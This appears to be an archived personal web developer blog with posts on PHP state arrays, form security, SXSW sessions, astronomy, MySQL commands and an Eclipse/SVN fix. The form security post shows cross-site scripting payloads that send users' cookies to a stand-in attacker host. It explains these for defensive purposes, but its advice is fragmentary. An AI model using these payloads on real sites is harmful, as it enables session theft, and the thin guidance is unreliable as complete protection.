BLOG: Mitch Wilson, Austin TX Web & Multimedia Developer – Austin, TX

16May/090

List of states as PHP array

Here are two PHP arrays: states and states_short. Use either of these to populate a select element drop down list used to select the state in an HTML form.

Copy, paste and enjoy!


$states_short = array(
'AL'=>'AL',
'AK'=>'AK',
'AZ'=>'AZ',
'AR'=>'AR',
'CA'=>'CA',
'CO'=>'CO',
'CT'=>'CT',
'DE'=>'DE',
'DC'=>'DC',
'FL'=>'FL',
'GA'=>'GA',
'HI'=>'HI',
'ID'=>'ID',
'IL'=>'IL',
'IN'=>'IN',
'IA'=>'IA',
'KS'=>'KS',
'KY'=>'KY',
'LA'=>'LA',
'ME'=>'ME',
'MD'=>'MD',
'MA'=>'MA',
'MI'=>'MI',
'MN'=>'MN',
'MS'=>'MS',
'MO'=>'MO',
'MT'=>'MT',
'NE'=>'NE',
'NV'=>'NV',
'NH'=>'NH',
'NJ'=>'NJ',
'NM'=>'NM',
'NY'=>'NY',
'NC'=>'NC',
'ND'=>'ND',
'OH'=>'OH',
'OK'=>'OK',
'OR'=>'OR',
'PA'=>'PA',
'RI'=>'RI',
'SC'=>'SC',
'SD'=>'SD',
'TN'=>'TN',
'TX'=>'TX',
'UT'=>'UT',
'VT'=>'VT',
'VA'=>'VA',
'WA'=>'WA',
'WV'=>'WV',
'WI'=>'WI',
'WY'=>'WY'
);


$states = array(
'AL'=>'Alabama',
'AK'=>'Alaska',
'AZ'=>'Arizona',
'AR'=>'Arkansas',
'CA'=>'California',
'CO'=>'Colorado',
'CT'=>'Connecticut',
'DE'=>'Delaware',
'DC'=>'District Of Columbia',
'FL'=>'Florida',
'GA'=>'Georgia',
'HI'=>'Hawaii',
'ID'=>'Idaho',
'IL'=>'Illinois',
'IN'=>'Indiana',
'IA'=>'Iowa',
'KS'=>'Kansas',
'KY'=>'Kentucky',
'LA'=>'Louisiana',
'ME'=>'Maine',
'MD'=>'Maryland',
'MA'=>'Massachusetts',
'MI'=>'Michigan',
'MN'=>'Minnesota',
'MS'=>'Mississippi',
'MO'=>'Missouri',
'MT'=>'Montana',
'NE'=>'Nebraska',
'NV'=>'Nevada',
'NH'=>'New Hampshire',
'NJ'=>'New Jersey',
'NM'=>'New Mexico',
'NY'=>'New York',
'NC'=>'North Carolina',
'ND'=>'North Dakota',
'OH'=>'Ohio',
'OK'=>'Oklahoma',
'OR'=>'Oregon',
'PA'=>'Pennsylvania',
'RI'=>'Rhode Island',
'SC'=>'South Carolina',
'SD'=>'South Dakota',
'TN'=>'Tennessee',
'TX'=>'Texas',
'UT'=>'Utah',
'VT'=>'Vermont',
'VA'=>'Virginia',
'WA'=>'Washington',
'WV'=>'West Virginia',
'WI'=>'Wisconsin',
'WY'=>'Wyoming'
);

Filed under: Geek Out No Comments
15Apr/090

HTML, JavaScript and PHP form security

How about a refresher on PHP form security? Follow these simple steps to cover the basics. Then sleep better at night knowing you have improved the World Wide Web. (Seriously, get some good sleep, you need it.)

Know thy enemy

The whole security issue comes from two simple facts:

  • First fact: Certain text characters and series of characters have special meaning in programming.
    Example: A left angle bracket, in HTML context, starts a tag. But in JavaScript, it means less than.
  • Second fact: Web sites implement online forms that let users upload code to run on the server.
    Example: In the comments form, users type text in various text fields. But is the user entering just plain text and allowed tags, or are they entering carefully crafted text containing HTML, JavaScript or some other language meant to run malicious code either on your server or in another user's browser (while visiting your site)?

Malicious client-side HTML and JavaScript

A left angle bracket, in HTML, starts an HTML tag. The series of characters <script> starts a script tag. If you allow a user to submit html tags in your form, you have just opened the door to attack. For example, here is a common type of attack where the attacker posts a malicious link as part of their message or comment to the target Web site. The following example uses HTML and JavaScript entered in the message body. Any cookies you set for that user (who clicks the link) can be read by the attacker. When a user clicks the link, the browser passes the user's cookie information, from the current Web site (yours), as a query string to their PHP file on the attacker's server:

<a href="http://badsite/attacker.php?cookie=<script>document.cookie;</script>">Click here to win</a>

Of course, if you do not filter out or sanitize the data in any way and allow JavaScript code to run, the attacker wouldn't even need the user to click a link. They would just enter a simple block of JavaScript within a <script> tag in their comment:

Hi, great site! <script>location="http://badsite.com/attacker.php?cookie="+document.cookie;</script>

Now we've seen a client-side attack using HTML, JavaScript and PHP. Let's look at a server side attack example, then we'll see how to combat both of them.

Malicious server-side PHP
By adding \r\n in a field that will be used to create an email header for the PHP mail() function, an attacker can write their own email and send it from your Website to whomever they want. Your site's online email form will be used to spam other people. Only these versions of PHP are affected, PHP 4 <= 4.4.6 and PHP 5 <= 5.2.

The local-part of the e-mail address may use any of these ASCII characters:

  • Uppercase and lowercase English letters (a-z, A-Z)
  • Digits 0 through 9
  • Characters ! # $ % & ' * + - / = ? ^ _ ` { | } ~
  • Character . provided that it is not the first nor last character, nor may it appear two or more times consecutively.

 

  1. // copy the value form $_GET to $id

  2. $id = $_GET['id'];

  3. echo "thanks for sending me $id, dude!";

  4.  

  5. // just use the $_GET val directly

  6. echo 'it\'s even more awesome to grab '.$_GET['id'].' directly from input, right?';

 

  1. // escaped, so not a potential SQL injection threat.

  2. $id = mysql_real_escape_string($_GET['id']);

  3. echo "Now I know that $id is totally safe to insert into my database";

  4.  

  5. // cast as int, so

  6. $id = intval($_GET['id']);

  7. echo "$id is most certainly an integer now";

Ninja Webmaster Techniques

  • Encode using htmlentities()
  • Strip suspicious special characters like backslashes and curly braces

HTML and JavaScript InjectionPHP mail() Header Vulnerabilities

  • Cross site scripting (XSS)
    Example: Adding a script tag in a comment on your site to read your user's cookies.
  • Input injection
    Example: Adding malicious PHP code in your form field then submitting to run on your server.
  • Mail header injection
    Example: Adding \r\n in an email form field and then adding custom malicious email headers to send spam from your Website.

Disclaimer

I am not a security professional. I am a Web developer, like you. I presented common best practices. In addition, you should have a professional hosting service or server administrator who knows what they are doing, and you should communicate with them and follow their advice to make sure your Web site is as secure as possible.

Filed under: Geek Out No Comments
15Apr/090

Day 2: SXSW Interactive 2009

Day two, I coverd 5 sessions. That's right. I session jumped the last three all in one hour, 20 minutes each.

Even Faster Websites

Steve Souders wrote the book, "High Performance Web sites" published by O'Reilly in 2007. He is methodical and makes extensive use of yslow and a packet sniffer. Steve demonstrated the performance hit of including inline JavaScript after a link to an external CSS stylesheet. Bascially, the browser will wait for the CSS to finish downloading before proceeding to execute the JavaScript. Other insights included no not using HTML to write script elements. Instead, dynamically add the script element. Doing so avoids inline Javascript that blocks parallel downloading.

First Year as a Freelancer

This was a session I will have to write more on later, since I took so many notes. I'll just say that I was really inspired by this session and made some contacts for possible collaboration later.

Freelance to Agency

A panel discussion with some really smart people nice enough to share their wisdom: Kristina Halvorson (Brain Traffic), Jeffrey Zeldman (Happy Cog, A List Apart, Zeldman.com) , Roger Black and Whitney Hess. If you have't guessed, I'm a full-time freelancer now. So this was a welcome follow up to the previous session about freelancing as well.

Interface Lessons Learned from Games

It's really late and I am going to stop writing very soon. More on this and the rest later.

Filed under: Geek Out No Comments
1Apr/090

I saw Jupiter and it’s moons this morning

Between 6:45 and 6:55 AM this morning, I observed Jupiter and it's four largest moons: Io, Europa, Ganymede and Callisto. Above but getting low On the South Eastern horizon, you could see Jupiter with the naked eye. With a telescope, I could make out four moons as well. I posted a drawing of my observation to flickr.

Drawing of observation of Jupiter and four Moon: Io, Europa, Ganymede and Callisto

Filed under: Geek Out No Comments
31Mar/090

Will I see galaxies tonight?

I've learned that using a telescope is a lot more involved than I had expected. (But also more fun.) I have spotted Saturn and learned several stars and constellations. But I really want to see something more interesting, like a galaxy. Weather ruined my previous plan, so tonight I am hoping for better luck. The weather is supposed to be clear or partly cloudy.

I have four galaxies picked out:

  • Bode's Galaxy (M81)
  • Cigar Galaxy(M82)
  • M108
  • M109

All four galaxies are near The Big Dipper, which is easy to find.

Filed under: Geek Out No Comments
29Mar/090

Searching for the Pinwheel and Whirlpool galaxies

Whirlpool GalaxyLast night at 3am I spent a good hour, at least, outside in the cold looking up in the sky. My back hurt. I had on two jackets but was still cold. I was hungry. Oh yeh, and I was very, very tired. And I never found my target, the Hercules globular cluster. Isn't astronomy great!

Tonight I am hoping for better luck, and dare I say, skill. I learned a lot last night, my first real night star watching. I had found Saturn on several occasions but I had not yet tried to find any deep space objects, until now. I'm not just an amateur astronomer; I'm a beginning amateur astronomer.

Tonight, most of all, I hope to find the following:

These two galaxies are both close to the star, Alkaid, the end star in the handle of the Big Dipper. So they should be easy to find, right?

I planned it all out. Tonight, at 1am, the two galaxies should be at a good vertical position in the sky, high enough to get a angle through the atmosphere but not so high that I strain my neck looking straight up for minutes on end. How do I know where they will be at 1am? Starry Night is an extremely helpful and cool software application that maps stars etc. by date and time. I can set the date and time to display to see the positions of stars and other objects in the sky at that time.

I am excited about tonight. Last night was a good learning experience but disappointing. I never found the Hercules globular cluster. I am hoping the Whirlpool and Pinwheel galaxies will be easier targets.

Update

It was too cloudy that night. Bummer.

Filed under: Geek Out No Comments
14Mar/090

First day SXSW Interactive 2009

I attended three interesting sessions today. The theme for today for creativity. Each session's discussion centered around how to be more creative in what we enable users to experience. Unfortunately, I did not get to attend either of the book readings I wanted that day about beautiful Web design and open source Flash projects. Regardless, I will discuss open source Flash at the end of this post, though, since the book reading presenter was Aral Balkan of osflash.org fame.

The first session was "Everything You Know About Web Design Is Wrong." Dan Willis (Sapient) had some great points that I have been saying for years. Glad to hear it! Web design, by and large, is based on Print design. He believes, though, that we are headed towards a shift where Web designers are moving away from the trappings of print design and towards formulating their own "grammer" of design, just as early filmmakers had to transition away from stage-based theatrics in the 19th century. Watch out for that tree! (If you were in the session, you get this one.)

The next session, "Oooh, That's Clever! (Unnatural Experiments in Web Design)," was also full and great ideas. Paul Annett (Clearleft Ltd) showed us some truly clever examples of anagram logos and easter eggs in design and Web sites. I am inspired to go forth and have fun!

The last session I attended today was "That Doesn't Suck! Inspiring Creativity With Spore" presented by Caryl Shaw (Maxis). What an amazing game. Spore allows users to create their own characters and objects, even planets, that other people can play in Spore. In creating Spore and new features, the team actually follows the principle that a feature should be comprised of the following characteristics: 1/3 play, 1/3 share and 1/3 create (allowing users to create).

So the sessions were great. But I missed meeting Aral Balkan!!! I have been a Flash developer for years now and used his site, osflash.org, so many times I can't even count. So I'll have to say right now, "Aral, thank you for the great site." When I started using FlashDevelop IDE to create purely ActionScript 3 based video players, osflash.org was such a helpful resource.

Filed under: Geek Out No Comments
9Mar/090

MySQL Cheatsheet

My personal MySQL cheatsheet.

MySQL 5

Create table documentation

Example MySQL code:


CREATE TABLE `events` (

  `id` int(11) NOT NULL auto_increment,

  `datetime` datetime default NULL,

  `title` varchar(255) collate latin1_general_ci default NULL,

  `other` varchar(255) collate latin1_general_ci default NULL,

  `body` text collate latin1_general_ci,

  `created_on` datetime default NULL,

  `created_at` datetime default NULL,

  `updated_on` datetime default NULL,

  `updated_at` datetime default NULL,

  `caption` varchar(255) collate latin1_general_ci default NULL,

  `published` tinyint(1) default '0',

  PRIMARY KEY  (`id`)

) ENGINE=MyISAM AUTO_INCREMENT=0 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci;

Backtick

The backtick character ` allows the use of odd characters like spaces in MySQL database, table and column names. It is optional but is good practice.

MySQLDump

On Windows, type the following in a Command window, then enter your MySQL password when prompted:


mysqldump --lock-tables my_database_name -r my_database_dump.txt  -u username -p

Note: Many Windows examples show using the > character in MSDOS like:

mysqldump my_database_name > my_database_dump.txt -u username -p

While this does dump the database, it also converts the MySQL line returns '\n' to Windows line returns '\r\n' in the output saved to the resulting dump.txt file. To preseve the original line breaks, do not use the > character to dump to a text file in MSDOS. Use the MySQL argument -r to specify the output file. If, however, you want to just view the dump (you don't actually plan to import it) then it is helpful to use > on Windows since it will add the Windows line return characters making the file more readable (but not as clean for importing to another MySQL database).

Tip: After dumping your database to a text file, open it from the Command line using:

notepad my_database_dump.txt

Creating a database and importing your MySQL dump

Creating a database is very easy. On the computer you want to host the database, you just login and run a single command. For example, you want a database named wordpress_blog. Assuming your are logged into mysql and that you have the permissions to create new databases, simply type:


create database wordpress_blog;

Next, import your dump into the new wordpress_blog database.

Importing the dump

You will want to logout of mysql in order to run this from the command line itself. Assuming your username is smartypants and you are importing into the wordpress_blog database, type this then your password.


mysql -usmartypants -p wordpress_blog < my_database_dump.txt

Then log back into mysql and type show databases. You will see the new wordpress_blog database in the list of databases.

Next, you need to grant users access to the new database.

MySQL Users and grant permissions

MySQL Account Management


grant all on `databasename`.* to 'username'@'localhost' identified by 'password';

Note: Backtick characters are used around databasename. Single quote characters are used around username and localhost.

Connecting to MySQL with PHP

See my PHP/MySQL article.

Deleting records

<?php
// Connect to MySQL

// Delete Bobby from the "example" MySQL table
mysql_query("DELETE FROM example WHERE age='15'")
or die(mysql_error());
?>

Creating a database


create database nameofdatabase;

Deleting a database


drop database nameofdatabase;
Filed under: Geek Out No Comments
12Dec/081

SVN entries crashing RadRails project

I would rather spend time on rails code than troubleshooting Eclipse issues. I thought I would help you do the same. Recently, I found that I could not start one of my RadRails projects, a really cool new app I'm working on. Troubleshooting the solution taught me a lot, though. I'm a glass is half full kind of guy.

The problem

When I started Eclipse, it would crash within seconds of showing the splash screen. I found that deleting my whole rails project from the workspace allowed Eclipse to start successfully. Not quite the solution I had in mind.

The first attempt

Simple, right? The problem appeared to be the project file. Just delete. Restart Eclipse. Damn. Same problem. Crash. Ok, something more drastic. Delete all the contents of the project. Create a new empty project. Restart Eclipse. Ok, now we're getting somewhere. Eclipse started and I am looking at my workspace with the rails project icon in the Ruby Explorer panel. Now just add my actual rails app files to the spanking new RadRails project. Ok, now right-click on the project folder in Eclipse and select refresh ... CRASH! Damn.

The second attempt

Delete everything and check out from SVN again. CRASH! Damn.

The third attempt

My "divide and conqueor technique." This is patented but I will share. Delete half of the folders in the project. Restart. Crash! Delete the half of what's left. Crash. Delete half of now what's left. Crash! Delete all files and folders from my rails project except for one single folder with a few files. Crash . . . crash . . . crash. Finally, nailed it. Delete the .svn folder. Restart. Success!!! Restore the .svn folder. Restart. Crash, the good kind; the kind that confirms the problem is the .svn folder. Now, take a guess and delete the entries file. Restart and success. Restore the entries file in that single .svn folder. Restart and, yes, crash and confirmed: the problem is the entries file in the .svn folder.

The solution

Delete every .svn folder throughout my rails project. I could delete just the entries file, but I wanted to just wipe the slate clean and start over with all the subversion project files. Since I'm running a Windows machine, I used a DOS command. Oh yeh, I got medieval on this bee-ach. On Linux of Mac, of course, translate to your own command line code.

  1. At the command line, switch to your project directory:
    cd c:\path\to\rails\project
  2. Now recursively delete all .svn folders by typing:
    for /f %D in ('dir/s/b/ad ^| find/i ".svn" ') do if exist "%D" rd/s/q "%D"
  3. Finally, restart Eclipse and recreate your RadRails project by either refreshing the existing project folder or creating a new one.NOTE: If you create a new RadRails project, make sure to un-select generate new rails skeleton, unless you want to overwrite your existing rails files!!!
Filed under: Geek Out 1 Comment
25Oct/080

AIR is finally taking off

AIR is the Adobe runtime for desktop applications. After installing AIR, you can install and run desktop applications built in HTML and JavaScript or Flash, for example. AIR applications use traditional Web client-side technologies to build installed desktop applications.

As a Flash developer for the past few years, I've been waiting for this moment. Funny that it happens just as I moved from Flash development to SAAS development. Enter Yammer, my first truely just-by-chance installed AIR app. Yammer is still small but gaining in popularity. I just installed it, too. Those are not just Yammer installs; they are AIR installs. AIR is finally taking off.

AIR will be one of many technologies further merging the Internet and the desktop. I better find an excuse to make a couple of AIR apps at work!

Filed under: Geek Out No Comments